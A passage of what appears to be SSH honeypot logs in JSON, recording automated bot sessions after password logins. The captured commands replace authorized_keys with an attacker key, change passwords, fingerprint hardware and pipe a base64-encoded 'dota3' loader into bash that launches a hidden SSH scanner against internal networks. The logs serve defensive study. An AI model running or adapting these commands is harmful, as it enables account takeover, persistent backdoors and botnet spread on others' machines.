\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:13:25.022363+00:00","kind":"output","latency_ms":795,"data":""},{"seq":47,"at":"2026-08-21T22:13:33.106153+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:13:33.110732+00:00","kind":"output","latency_ms":null,"data":"vadim"}],"credentials":[{"username":"vadim","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"cc026bcb-8f37-418f-a853-ad13d79e6f45","name":"slender-northern-dolphin","protocol":"ssh","channel_kind":"exec","src_ip":"157.230.18.133","src_port":57384,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":306,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T18:12:23.831896+00:00","ended_at":"2026-08-21T18:12:23.919344+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3758,"events":[{"seq":1,"at":"2026-08-21T18:11:55.907820+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T18:11:56.210957+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T18:11:59.758290+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T18:11:59.758988+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T18:12:00.070159+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234qwer\\nVYUxmrSiMNqp\\nVYUxmrSiMNqp\"|passwd|bash"},{"seq":6,"at":"2026-08-21T18:12:00.376815+00:00","kind":"input","latency_ms":null,"data":"echo \"1234qwer\\nVYUxmrSiMNqp\\nVYUxmrSiMNqp\\n\"|passwd"},{"seq":7,"at":"2026-08-21T18:12:00.682821+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T18:12:00.683615+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T18:12:00.991619+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T18:12:01.912019+00:00","kind":"output","latency_ms":919,"data":"15888 14321 1567 0 0 0"},{"seq":11,"at":"2026-08-21T18:12:02.218621+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T18:12:03.079149+00:00","kind":"output","latency_ms":860,"data":"-rwxr-xr-x 1 root root 151K Jan 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T18:12:03.387090+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T18:12:03.387681+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T18:12:03.693549+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T18:12:03.694343+00:00","kind":"output","latency_ms":null,"data":" 18:12:03 up 1 day, 15:02, 0 user, load average: 0.3, 0.32, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T18:12:04.000369+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T18:12:04.001213+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T18:12:04.309344+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T18:12:04.310165+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T18:12:04.615222+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T18:12:04.616011+00:00","kind":"output","latency_ms":null,"data":"top - 18:12:04 up 1 day, 15:02, 0 user, load average: 0.3, 0.32, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T18:12:04.922399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T18:12:04.923091+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T18:12:05.230490+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T18:12:05.231087+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T18:12:05.556371+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T18:12:05.557524+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-21T18:12:05.863249+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T18:12:07.055126+00:00","kind":"output","latency_ms":1190,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T18:12:07.361145+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T18:12:08.596495+00:00","kind":"output","latency_ms":1235,"data":"24G"},{"seq":33,"at":"2026-08-21T18:12:09.650669+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpuser 1234qwer\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T18:12:09.954746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T18:12:10.560393+00:00","kind":"output","latency_ms":604,"data":""},{"seq":36,"at":"2026-08-21T18:12:11.007724+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T18:12:11.897536+00:00","kind":"output","latency_ms":887,"data":"Session terminated, killing shell... ...killed."},{"seq":38,"at":"2026-08-21T18:12:12.202578+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T18:12:13.075520+00:00","kind":"output","latency_ms":872,"data":"ftpuser 1234qwer"},{"seq":40,"at":"2026-08-21T18:12:13.382626+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T18:12:13.690132+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T18:12:14.343939+00:00","kind":"output","latency_ms":655,"data":"1"},{"seq":43,"at":"2026-08-21T18:12:14.648143+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T18:12:15.291508+00:00","kind":"output","latency_ms":642,"data":"1"},{"seq":45,"at":"2026-08-21T18:12:15.598477+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T18:12:23.834054+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-21T18:12:23.834682+00:00","kind":"output","latency_ms":null,"data":"ftpuser"}],"credentials":[{"username":"ftpuser","password":"1234qwer","method":"password","accepted":true,"tier":"other"}]} {"id":"085553b7-74c2-4a2d-9c6e-99eaa2ee2e06","name":"clever-wistful-condor","protocol":"ssh","channel_kind":"exec","src_ip":"143.202.162.212","src_port":35234,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":271,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T17:00:24.227469+00:00","ended_at":"2026-08-21T17:00:24.302398+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3554,"events":[{"seq":1,"at":"2026-08-21T16:59:57.112793+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T16:59:57.382592+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T17:00:01.917570+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T17:00:01.918028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T17:00:02.189247+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pXANzkJhY6pO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T17:00:02.460227+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T17:00:02.728641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T17:00:02.729228+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T17:00:02.999908+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T17:00:03.766598+00:00","kind":"output","latency_ms":765,"data":"Mem: 15888 1047 12180 132 2660 0"},{"seq":11,"at":"2026-08-21T17:00:04.038223+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T17:00:04.790787+00:00","kind":"output","latency_ms":751,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T17:00:04.799625+00:00","kind":"output","latency_ms":2610,"data":""},{"seq":14,"at":"2026-08-21T17:00:05.062956+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T17:00:05.063491+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T17:00:05.333448+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T17:00:05.334408+00:00","kind":"output","latency_ms":null,"data":" 17:00:05 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T17:00:05.604159+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T17:00:05.604636+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T17:00:05.875676+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T17:00:05.876203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T17:00:06.147780+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T17:00:06.148484+00:00","kind":"output","latency_ms":null,"data":"top - 17:00:06 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T17:00:06.419181+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T17:00:06.419577+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T17:00:06.691455+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T17:00:06.691775+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T17:00:06.962457+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T17:00:06.962767+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T17:00:07.234359+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T17:00:08.095515+00:00","kind":"output","latency_ms":860,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-21T17:00:08.366193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T17:00:09.203781+00:00","kind":"output","latency_ms":837,"data":"24G"},{"seq":34,"at":"2026-08-21T17:00:10.202326+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1234rfv\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T17:00:10.472040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T17:00:11.145565+00:00","kind":"output","latency_ms":672,"data":""},{"seq":37,"at":"2026-08-21T17:00:11.396249+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T17:00:12.138370+00:00","kind":"output","latency_ms":741,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-21T17:00:12.409348+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T17:00:13.138500+00:00","kind":"output","latency_ms":728,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-21T17:00:13.408770+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T17:00:13.678888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T17:00:14.489948+00:00","kind":"output","latency_ms":810,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-21T17:00:14.763544+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T17:00:15.464728+00:00","kind":"output","latency_ms":700,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-21T17:00:15.737745+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T17:00:16.355202+00:00","kind":"output","latency_ms":617,"data":""},{"seq":48,"at":"2026-08-21T17:00:24.230213+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-21T17:00:24.232246+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1234rfv","method":"password","accepted":true,"tier":"other"}]} {"id":"b29bc095-7170-40d7-aaf1-f537ef951734","name":"frugal-leafy-serval","protocol":"ssh","channel_kind":"exec","src_ip":"172.173.200.62","src_port":44638,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":71,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T10:41:08.573334+00:00","ended_at":"2026-08-21T10:41:08.615394+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4079,"events":[{"seq":1,"at":"2026-08-21T10:40:37.169381+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T10:40:37.239596+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T10:40:49.282809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T10:40:49.283231+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T10:40:49.370723+00:00","kind":"input","latency_ms":null,"data":"echo -e \"azerty\\nLb2bm6Mz7Wl6\\nLb2bm6Mz7Wl6\"|passwd|bash"},{"seq":6,"at":"2026-08-21T10:40:49.441489+00:00","kind":"input","latency_ms":null,"data":"echo \"azerty\\nLb2bm6Mz7Wl6\\nLb2bm6Mz7Wl6\\n\"|passwd"},{"seq":7,"at":"2026-08-21T10:40:49.512074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T10:40:49.512605+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T10:40:49.582129+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T10:40:50.365254+00:00","kind":"output","latency_ms":782,"data":" total used free shared buff/cache available\nMem: 15888 3251 9804 34 2832 12066"},{"seq":11,"at":"2026-08-21T10:40:50.456257+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T10:40:51.022310+00:00","kind":"output","latency_ms":565,"data":"lrwxrwxrwx 1 root root 7 Apr 24 2025 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-21T10:40:51.099032+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T10:40:51.099799+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T10:40:51.169175+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T10:40:51.169811+00:00","kind":"output","latency_ms":null,"data":" 10:40:51 up 1 day, 7:30, 0 user, load average: 0.17, 0.21, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T10:40:51.259406+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T10:40:51.260063+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T10:40:51.330710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T10:40:51.331415+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T10:40:51.399891+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T10:40:51.400905+00:00","kind":"output","latency_ms":null,"data":"top - 10:40:51 up 1 day, 7:30, 0 user, load average: 0.17, 0.21, 0.17\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T10:40:51.471095+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T10:40:51.471448+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T10:40:51.541376+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T10:40:51.542164+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T10:40:51.611396+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T10:40:51.612009+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-21T10:40:51.681156+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T10:40:52.617584+00:00","kind":"output","latency_ms":935,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T10:40:52.735322+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 